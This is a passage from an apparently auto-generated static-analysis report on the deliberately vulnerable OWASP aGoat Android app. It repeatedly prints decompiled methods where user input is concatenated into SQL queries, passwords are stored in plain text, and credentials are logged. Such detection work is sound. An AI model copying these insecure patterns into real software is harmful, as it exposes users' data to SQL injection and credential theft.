((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

Method `owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        try {
            android.widget.Button v0_6 = this.openOrCreateDatabase(aGoat, 0, 0);
            this.mDB = v0_6;
        } catch (android.widget.Button v0_0) {
            android.widget.EditText v1_1 = new StringBuilder();
            v1_1.append(Error occurred while creating database: );
            v1_1.append(v0_0.getMessage());
            android.util.Log.e(Error:, v1_1.toString());
            this.setContentView(2131296299);
            ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
```

```
((android.widget.EditText) this.findViewById(2131165303))));
            return;
        }
        if (v0_6 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v0_6.execSQL(CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR));
        this.setContentView(2131296299);
        ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303))));
        return;
    }
```

Finding #3

The parameter at position: `0` of the method `execSQL` in the class `SQLiteDatabase` may be vulnerable to SQL injection. Taint traced from non-reachable component: `owasp.sat.agoat.InsecureStorageSQLiteActivity` . The TaintElement is coming from: Class `InsecureStorageSQLiteActivity` Method `onCreate` Position `0` Signature `(Landroid/os/Bundle;)V` . Call trace:

```
 at android.database.sqlite.SQLiteDatabase.execSQL
at owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick
at android.database.sqlite.SQLiteDatabase.execSQL
at owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick
at owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick
at owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick
at owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate
at owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.<init>
at owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate
at owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate
```

at `android.database.sqlite.SQLiteDatabase.execSQL`

```
 Unable to extract source code.
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick`

```
    public final void onClick(android.view.View p7)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(INSERT INTO users (username, password) VALUES(');
        String v1_8 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_8, username);
        v0_1.append(v1_8.getText().toString());
        v0_1.append(',');
        String v1_2 = this.$password;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, password);
        v0_1.append(v1_2.getText().toString());
        v0_1.append('));
        String v0_2 = v0_1.toString();
        try {
            android.widget.Toast v2_2 = owasp.sat.agoat.InsecureStorageSQLiteActivity.access$getMDB$p(this.this$0);
        } catch (android.widget.Toast v2_3) {
            CharSequence v3_1 = new StringBuilder();
            v3_1.append(Error occurred when inserting data into database: );
            v3_1.append(v2_3.getMessage());
            android.util.Log.d(Error, v3_1.toString());
            CharSequence v3_4 = this.this$0.getApplicationContext();
            CharSequence v4_4 = new StringBuilder();
            v4_4.append(Data not saved: Error occured - );
            v4_4.append(v2_3.getMessage());
            android.widget.Toast.makeText(v3_4, ((CharSequence) v4_4.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v2_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v2_2.execSQL(v0_2);
        android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        android.util.Log.v(Query, v0_2);
```

```
        return;
    }
```

at `android.database.sqlite.SQLiteDatabase.execSQL`

```
Unable to extract source code.
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick`

```
public final void onClick(android.view.View p7)
{
    String v0_1 = new StringBuilder();
    v0_1.append(INSERT INTO users (username, password) VALUES(');
    String v1_8 = this.$username;
    kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_8, username);
    v0_1.append(v1_8.getText().toString());
    v0_1.append(',');
    String v1_2 = this.$password;
    kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, password);
    v0_1.append(v1_2.getText().toString());
    v0_1.append('));
    String v0_2 = v0_1.toString();
    try {
        android.widget.Toast v2_2 = owasp.sat.agoat.InsecureStorageSQLiteActivity.access$getMDB$p(this.this$0);
    } catch (android.widget.Toast v2_3) {
        CharSequence v3_1 = new StringBuilder();
        v3_1.append(Error occurred when inserting data into database: );
        v3_1.append(v2_3.getMessage());
        android.util.Log.d(Error, v3_1.toString());
        CharSequence v3_4 = this.this$0.getApplicationContext();
        CharSequence v4_4 = new StringBuilder();
        v4_4.append(Data not saved: Error occured - );
        v4_4.append(v2_3.getMessage());
        android.widget.Toast.makeText(v3_4, ((CharSequence) v4_4.toString()), 1).show();
        android.util.Log.v(Query, v0_2);
        return;
    }
    if (v2_2 == null) {
        kotlin.jvm.internal.Intrinsics.throwNpe();
    }
    v2_2.execSQL(v0_2);
    android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
    android.util.Log.v(Query, v0_2);
    return;
}
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick`

```
public final void onClick(android.view.View p7)
{
    String v0_1 = new StringBuilder();
    v0_1.append(INSERT INTO users (username, password) VALUES(');
    String v1_8 = this.$username;
    kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_8, username);
    v0_1.append(v1_8.getText().toString());
    v0_1.append(',');
    String v1_2 = this.$password;
    kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, password);
    v0_1.append(v1_2.getText().toString());
    v0_1.append('));
    String v0_2 = v0_1.toString();
    try {
        android.widget.Toast v2_2 = owasp.sat.agoat.InsecureStorageSQLiteActivity.access$getMDB$p(this.this$0);
    } catch (android.widget.Toast v2_3) {
        CharSequence v3_1 = new StringBuilder();
        v3_1.append(Error occurred when inserting data into database: );
        v3_1.append(v2_3.getMessage());
        android.util.Log.d(Error, v3_1.toString());
        CharSequence v3_4 = this.this$0.getApplicationContext();
        CharSequence v4_4 = new StringBuilder();
        v4_4.append(Data not saved: Error occured - );
        v4_4.append(v2_3.getMessage());
```

```
            android.widget.Toast.makeText(v3_4, ((CharSequence) v4_4.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v2_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v2_2.execSQL(v0_2);
        android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        android.util.Log.v(Query, v0_2);
        return;
    }
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.onClick`

```
    public final void onClick(android.view.View p7)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(INSERT INTO users (username, password) VALUES(');
        String v1_8 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_8, username);
        v0_1.append(v1_8.getText().toString());
        v0_1.append(',');
        String v1_2 = this.$password;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_2, password);
        v0_1.append(v1_2.getText().toString());
        v0_1.append('));
        String v0_2 = v0_1.toString();
        try {
            android.widget.Toast v2_2 = owasp.sat.agoat.InsecureStorageSQLiteActivity.access$getMDB$p(this.this$0);
        } catch (android.widget.Toast v2_3) {
            CharSequence v3_1 = new StringBuilder();
            v3_1.append(Error occurred when inserting data into database: );
            v3_1.append(v2_3.getMessage());
            android.util.Log.d(Error, v3_1.toString());
            CharSequence v3_4 = this.this$0.getApplicationContext();
            CharSequence v4_4 = new StringBuilder();
            v4_4.append(Data not saved: Error occured - );
            v4_4.append(v2_3.getMessage());
            android.widget.Toast.makeText(v3_4, ((CharSequence) v4_4.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v2_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v2_2.execSQL(v0_2);
        android.widget.Toast.makeText(this.this$0.getApplicationContext(), ((CharSequence) Data saved), 1).show();
        android.util.Log.v(Query, v0_2);
        return;
    }
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        try {
            android.widget.Button v0_6 = this.openOrCreateDatabase(aGoat, 0, 0);
            this.mDB = v0_6;
        } catch (android.widget.Button v0_0) {
            android.widget.EditText v1_1 = new StringBuilder();
            v1_1.append(Error occurred while creating database: );
            v1_1.append(v0_0.getMessage());
            android.util.Log.e(Error:, v1_1.toString());
            this.setContentView(2131296299);
            ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
            return;
        }
        if (v0_6 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v0_6.execSQL(CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR));
```

```
        this.setContentView(2131296299);
        ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1.<init>`

```
    InsecureStorageSQLiteActivity$onCreate$1(owasp.sat.agoat.InsecureStorageSQLiteActivity p1, android.widget.EditText p2,
android.widget.EditText p3)
    {
        this.this$0 = p1;
        this.$username = p2;
        this.$password = p3;
        return;
    }
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        try {
            android.widget.Button v0_6 = this.openOrCreateDatabase(aGoat, 0, 0);
            this.mDB = v0_6;
        } catch (android.widget.Button v0_0) {
            android.widget.EditText v1_1 = new StringBuilder();
            v1_1.append(Error occurred while creating database: );
            v1_1.append(v0_0.getMessage());
            android.util.Log.e(Error:, v1_1.toString());
            this.setContentView(2131296299);
            ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
            return;
        }
        if (v0_6 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v0_6.execSQL(CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR));
        this.setContentView(2131296299);
        ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

at `owasp.sat.agoat.InsecureStorageSQLiteActivity.onCreate`

```
    protected void onCreate(android.os.Bundle p5)
    {
        super.onCreate(p5);
        try {
            android.widget.Button v0_6 = this.openOrCreateDatabase(aGoat, 0, 0);
            this.mDB = v0_6;
        } catch (android.widget.Button v0_0) {
            android.widget.EditText v1_1 = new StringBuilder();
            v1_1.append(Error occurred while creating database: );
            v1_1.append(v0_0.getMessage());
            android.util.Log.e(Error:, v1_1.toString());
            this.setContentView(2131296299);
            ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
            return;
        }
        if (v0_6 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        v0_6.execSQL(CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR));
```

```
        this.setContentView(2131296299);
        ((android.widget.Button) this.findViewById(2131165206)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.InsecureStorageSQLiteActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)),
((android.widget.EditText) this.findViewById(2131165303)))));
        return;
    }
```

### Finding #4

User controlled parameter is used to construct an SQL parameter vulnerable to SQL injection Taint traced from non-reachable component: `owasp.sat.agoat.SQLinjectionActivity` found at `owasp.sat.agoat.SQLinjectionActivity` . From parameter `0` to sink `android.database.Cursor android.database.sqlite.SQLiteDatabase.rawQuery(java.lang.String, java.lang.String[])` . Taint trace:

```
at android.database.sqlite.SQLiteDatabase.rawQuery()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()
at owasp.sat.agoat.SQLinjectionActivity.access$getMDB$p()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()
at owasp.sat.agoat.SQLinjectionActivity.onCreate()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.<init>()
at owasp.sat.agoat.SQLinjectionActivity.onCreate()
at android.support.v7.app.AppCompatActivity.onCreate()
at owasp.sat.agoat.SQLinjectionActivity.onCreate()
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p9)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(SELECT * FROM users WHERE username=');
        String v1_6 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_6, username);
        v0_1.append(v1_6.getText().toString());
        v0_1.append(');
        String v0_2 = v0_1.toString();
        try {
            owasp.sat.agoat.SQLinjectionActivity.access$setMDB$p(this.this$0, this.this$0.openOrCreateDatabase(aGoat, 0, 0));
            android.database.Cursor v3_2 = owasp.sat.agoat.SQLinjectionActivity.access$getMDB$p(this.this$0);
        } catch (boolean v2_13) {
            android.database.Cursor v3_5 = new StringBuilder();
            v3_5.append(Error occurred when inserting data into database: );
            v3_5.append(v2_13.getMessage());
            android.util.Log.d(Error, v3_5.toString());
            android.database.Cursor v3_8 = this.this$0.getApplicationContext();
            StringBuilder v4_10 = new StringBuilder();
            v4_10.append(Data not saved: Error occured - );
            v4_10.append(v2_13.getMessage());
            android.widget.Toast.makeText(v3_8, ((CharSequence) v4_10.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v3_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        android.database.Cursor v3_3 = v3_2.rawQuery(v0_2, 0);
        StringBuilder v4_5 = new StringBuilder();
        if (v3_3 == null) {
            String v5_13 = new StringBuilder();
            v5_13.append(User: ();
            android.widget.EditText v6_2 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v6_2, username);
            v5_13.append(v6_2.getText().toString());
            v5_13.append() not found);
            v4_5.append(v5_13.toString());
        } else {
            if (v3_3.getCount() > 0) {
                v3_3.moveToFirst();
                do {
                    boolean v2_5 = new StringBuilder();
                    v2_5.append(Username: ();
                    v2_5.append(v3_3.getString(1));
                    v2_5.append() password: ();
                    v2_5.append(v3_3.getString(2));
                    v2_5.append()
);
```

```
                    v4_5.append(v2_5.toString());
                } while(v3_3.moveToNext());
            } else {
            }
        }
        android.widget.Toast.makeText(((android.content.Context) this.this$0), ((CharSequence) v4_5.toString()), 1).show();
        android.util.Log.e(Error:, v4_5.toString());
        android.util.Log.v(Query, v0_2);
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p9)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(SELECT * FROM users WHERE username=');
        String v1_6 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_6, username);
        v0_1.append(v1_6.getText().toString());
        v0_1.append(');
        String v0_2 = v0_1.toString();
        try {
            owasp.sat.agoat.SQLinjectionActivity.access$setMDB$p(this.this$0, this.this$0.openOrCreateDatabase(aGoat, 0, 0));
            android.database.Cursor v3_2 = owasp.sat.agoat.SQLinjectionActivity.access$getMDB$p(this.this$0);
        } catch (boolean v2_13) {
            android.database.Cursor v3_5 = new StringBuilder();
            v3_5.append(Error occurred when inserting data into database: );
            v3_5.append(v2_13.getMessage());
            android.util.Log.d(Error, v3_5.toString());
            android.database.Cursor v3_8 = this.this$0.getApplicationContext();
            StringBuilder v4_10 = new StringBuilder();
            v4_10.append(Data not saved: Error occured - );
            v4_10.append(v2_13.getMessage());
            android.widget.Toast.makeText(v3_8, ((CharSequence) v4_10.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v3_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        android.database.Cursor v3_3 = v3_2.rawQuery(v0_2, 0);
        StringBuilder v4_5 = new StringBuilder();
        if (v3_3 == null) {
            String v5_13 = new StringBuilder();
            v5_13.append(User: ();
            android.widget.EditText v6_2 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v6_2, username);
            v5_13.append(v6_2.getText().toString());
            v5_13.append() not found);
            v4_5.append(v5_13.toString());
        } else {
            if (v3_3.getCount() > 0) {
                v3_3.moveToFirst();
                do {
                    boolean v2_5 = new StringBuilder();
                    v2_5.append(Username: ();
                    v2_5.append(v3_3.getString(1));
                    v2_5.append() password: ();
                    v2_5.append(v3_3.getString(2));
                    v2_5.append()
);
                    v4_5.append(v2_5.toString());
                } while(v3_3.moveToNext());
            } else {
            }
        }
        android.widget.Toast.makeText(((android.content.Context) this.this$0), ((CharSequence) v4_5.toString()), 1).show();
        android.util.Log.e(Error:, v4_5.toString());
        android.util.Log.v(Query, v0_2);
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity.access$getMDB$p()` :

```
    public static final synthetic android.database.sqlite.SQLiteDatabase access$getMDB$p(owasp.sat.agoat.SQLinjectionActivity p1)
    {
        return p1.mDB;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p9)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(SELECT * FROM users WHERE username=');
        String v1_6 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_6, username);
        v0_1.append(v1_6.getText().toString());
        v0_1.append(');
        String v0_2 = v0_1.toString();
        try {
            owasp.sat.agoat.SQLinjectionActivity.access$setMDB$p(this.this$0, this.this$0.openOrCreateDatabase(aGoat, 0, 0));
            android.database.Cursor v3_2 = owasp.sat.agoat.SQLinjectionActivity.access$getMDB$p(this.this$0);
        } catch (boolean v2_13) {
            android.database.Cursor v3_5 = new StringBuilder();
            v3_5.append(Error occurred when inserting data into database: );
            v3_5.append(v2_13.getMessage());
            android.util.Log.d(Error, v3_5.toString());
            android.database.Cursor v3_8 = this.this$0.getApplicationContext();
            StringBuilder v4_10 = new StringBuilder();
            v4_10.append(Data not saved: Error occured - );
            v4_10.append(v2_13.getMessage());
            android.widget.Toast.makeText(v3_8, ((CharSequence) v4_10.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v3_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        android.database.Cursor v3_3 = v3_2.rawQuery(v0_2, 0);
        StringBuilder v4_5 = new StringBuilder();
        if (v3_3 == null) {
            String v5_13 = new StringBuilder();
            v5_13.append(User: ();
            android.widget.EditText v6_2 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v6_2, username);
            v5_13.append(v6_2.getText().toString());
            v5_13.append() not found);
            v4_5.append(v5_13.toString());
        } else {
            if (v3_3.getCount() > 0) {
                v3_3.moveToFirst();
                do {
                    boolean v2_5 = new StringBuilder();
                    v2_5.append(Username: ();
                    v2_5.append(v3_3.getString(1));
                    v2_5.append() password: ();
                    v2_5.append(v3_3.getString(2));
                    v2_5.append()
);
                    v4_5.append(v2_5.toString());
                } while(v3_3.moveToNext());
            } else {
            }
        }
        android.widget.Toast.makeText(((android.content.Context) this.this$0), ((CharSequence) v4_5.toString()), 1).show();
        android.util.Log.e(Error:, v4_5.toString());
        android.util.Log.v(Query, v0_2);
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p4)
```

```
    {
        super.onCreate(p4);
        this.setContentView(2131296306);
        ((android.widget.Button) this.findViewById(2131165207)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.SQLinjectionActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)))));
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.<init>()` :

```
    SQLinjectionActivity$onCreate$1(owasp.sat.agoat.SQLinjectionActivity p1, android.widget.EditText p2)
    {
        this.this$0 = p1;
        this.$username = p2;
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p4)
    {
        super.onCreate(p4);
        this.setContentView(2131296306);
        ((android.widget.Button) this.findViewById(2131165207)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.SQLinjectionActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)))));
        return;
    }
```

Method `android.support.v7.app.AppCompatActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p5)
    {
        android.support.v7.app.AppCompatDelegate v0 = this.getDelegate();
        v0.installViewFactory();
        v0.onCreate(p5);
        if ((v0.applyDayNight()) && (this.mThemeId != 0)) {
            if (android.os.Build$VERSION.SDK_INT < 23) {
                this.setTheme(this.mThemeId);
            } else {
                this.onApplyThemeResource(this.getTheme(), this.mThemeId, 0);
            }
        }
        super.onCreate(p5);
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity.onCreate()` :

```
    protected void onCreate(android.os.Bundle p4)
    {
        super.onCreate(p4);
        this.setContentView(2131296306);
        ((android.widget.Button) this.findViewById(2131165207)).setOnClickListener(((android.view.View$OnClickListener) new
owasp.sat.agoat.SQLinjectionActivity$onCreate$1(this, ((android.widget.EditText) this.findViewById(2131165369)))));
        return;
    }
```

### Finding #5

User controlled parameter is used to construct an SQL parameter vulnerable to SQL injection Taint traced from non-reachable component: `owasp.sat.agoat.SQLinjectionActivity` found at `owasp.sat.agoat.SQLinjectionActivity` . From parameter `0` to sink `android.database.Cursor`

`android.database.sqlite.SQLiteDatabase.rawQuery(java.lang.String, java.lang.String[])` . Taint trace:

```
at android.database.sqlite.SQLiteDatabase.rawQuery()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()
at owasp.sat.agoat.SQLinjectionActivity.onCreate()
at owasp.sat.agoat.SQLinjectionActivity$onCreate$1.<init>()
at owasp.sat.agoat.SQLinjectionActivity.onCreate()
at owasp.sat.agoat.SQLinjectionActivity.onCreate()
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p9)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(SELECT * FROM users WHERE username=');
        String v1_6 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_6, username);
        v0_1.append(v1_6.getText().toString());
        v0_1.append(');
        String v0_2 = v0_1.toString();
        try {
            owasp.sat.agoat.SQLinjectionActivity.access$setMDB$p(this.this$0, this.this$0.openOrCreateDatabase(aGoat, 0, 0));
            android.database.Cursor v3_2 = owasp.sat.agoat.SQLinjectionActivity.access$getMDB$p(this.this$0);
        } catch (boolean v2_13) {
            android.database.Cursor v3_5 = new StringBuilder();
            v3_5.append(Error occurred when inserting data into database: );
            v3_5.append(v2_13.getMessage());
            android.util.Log.d(Error, v3_5.toString());
            android.database.Cursor v3_8 = this.this$0.getApplicationContext();
            StringBuilder v4_10 = new StringBuilder();
            v4_10.append(Data not saved: Error occured - );
            v4_10.append(v2_13.getMessage());
            android.widget.Toast.makeText(v3_8, ((CharSequence) v4_10.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v3_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        android.database.Cursor v3_3 = v3_2.rawQuery(v0_2, 0);
        StringBuilder v4_5 = new StringBuilder();
        if (v3_3 == null) {
            String v5_13 = new StringBuilder();
            v5_13.append(User: ();
            android.widget.EditText v6_2 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v6_2, username);
            v5_13.append(v6_2.getText().toString());
            v5_13.append() not found);
            v4_5.append(v5_13.toString());
        } else {
            if (v3_3.getCount() > 0) {
                v3_3.moveToFirst();
                do {
                    boolean v2_5 = new StringBuilder();
                    v2_5.append(Username: ();
                    v2_5.append(v3_3.getString(1));
                    v2_5.append() password: ();
                    v2_5.append(v3_3.getString(2));
                    v2_5.append()
);
                    v4_5.append(v2_5.toString());
                } while(v3_3.moveToNext());
            } else {
            }
        }
        android.widget.Toast.makeText(((android.content.Context) this.this$0), ((CharSequence) v4_5.toString()), 1).show();
        android.util.Log.e(Error:, v4_5.toString());
        android.util.Log.v(Query, v0_2);
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p9)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(SELECT * FROM users WHERE username=');
        String v1_6 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_6, username);
        v0_1.append(v1_6.getText().toString());
        v0_1.append(');
        String v0_2 = v0_1.toString();
        try {
            owasp.sat.agoat.SQLinjectionActivity.access$setMDB$p(this.this$0, this.this$0.openOrCreateDatabase(aGoat, 0, 0));
            android.database.Cursor v3_2 = owasp.sat.agoat.SQLinjectionActivity.access$getMDB$p(this.this$0);
        } catch (boolean v2_13) {
            android.database.Cursor v3_5 = new StringBuilder();
            v3_5.append(Error occurred when inserting data into database: );
            v3_5.append(v2_13.getMessage());
            android.util.Log.d(Error, v3_5.toString());
            android.database.Cursor v3_8 = this.this$0.getApplicationContext();
            StringBuilder v4_10 = new StringBuilder();
            v4_10.append(Data not saved: Error occured - );
            v4_10.append(v2_13.getMessage());
            android.widget.Toast.makeText(v3_8, ((CharSequence) v4_10.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v3_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        android.database.Cursor v3_3 = v3_2.rawQuery(v0_2, 0);
        StringBuilder v4_5 = new StringBuilder();
        if (v3_3 == null) {
            String v5_13 = new StringBuilder();
            v5_13.append(User: ();
            android.widget.EditText v6_2 = this.$username;
            kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v6_2, username);
            v5_13.append(v6_2.getText().toString());
            v5_13.append() not found);
            v4_5.append(v5_13.toString());
        } else {
            if (v3_3.getCount() > 0) {
                v3_3.moveToFirst();
                do {
                    boolean v2_5 = new StringBuilder();
                    v2_5.append(Username: ();
                    v2_5.append(v3_3.getString(1));
                    v2_5.append() password: ();
                    v2_5.append(v3_3.getString(2));
                    v2_5.append()
);
                    v4_5.append(v2_5.toString());
                } while(v3_3.moveToNext());
            } else {
            }
        }
        android.widget.Toast.makeText(((android.content.Context) this.this$0), ((CharSequence) v4_5.toString()), 1).show();
        android.util.Log.e(Error:, v4_5.toString());
        android.util.Log.v(Query, v0_2);
        return;
    }
```

Method `owasp.sat.agoat.SQLinjectionActivity$onCreate$1.onClick()` :

```
    public final void onClick(android.view.View p9)
    {
        String v0_1 = new StringBuilder();
        v0_1.append(SELECT * FROM users WHERE username=');
        String v1_6 = this.$username;
        kotlin.jvm.internal.Intrinsics.checkExpressionValueIsNotNull(v1_6, username);
        v0_1.append(v1_6.getText().toString());
        v0_1.append(');
        String v0_2 = v0_1.toString();
        try {
            owasp.sat.agoat.SQLinjectionActivity.access$setMDB$p(this.this$0, this.this$0.openOrCreateDatabase(aGoat, 0, 0));
            android.database.Cursor v3_2 = owasp.sat.agoat.SQLinjectionActivity.access$getMDB$p(this.this$0);
```

```
        } catch (boolean v2_13) {
            android.database.Cursor v3_5 = new StringBuilder();
            v3_5.append(Error occurred when inserting data into database: );
            v3_5.append(v2_13.getMessage());
            android.util.Log.d(Error, v3_5.toString());
            android.database.Cursor v3_8 = this.this$0.getApplicationContext();
            StringBuilder v4_10 = new StringBuilder();
            v4_10.append(Data not saved: Error occured - );
            v4_10.append(v2_13.getMessage());
            android.widget.Toast.makeText(v3_8, ((CharSequence) v4_10.toString()), 1).show();
            android.util.Log.v(Query, v0_2);
            return;
        }
        if (v3_2 == null) {
            kotlin.jvm.internal.Intrinsics.throwNpe();
        }
        android.database.Cursor v3_3 = v3_2.rawQuery(v0_2, 0);
        StringBuilder v4_5 = new StringBuilder();
        if (v3_3 == null) {
            String v5_13 = new StringBuilder();
            v5_13.append(User: ();
            android.widget.EditText v6_2 = this.$username;
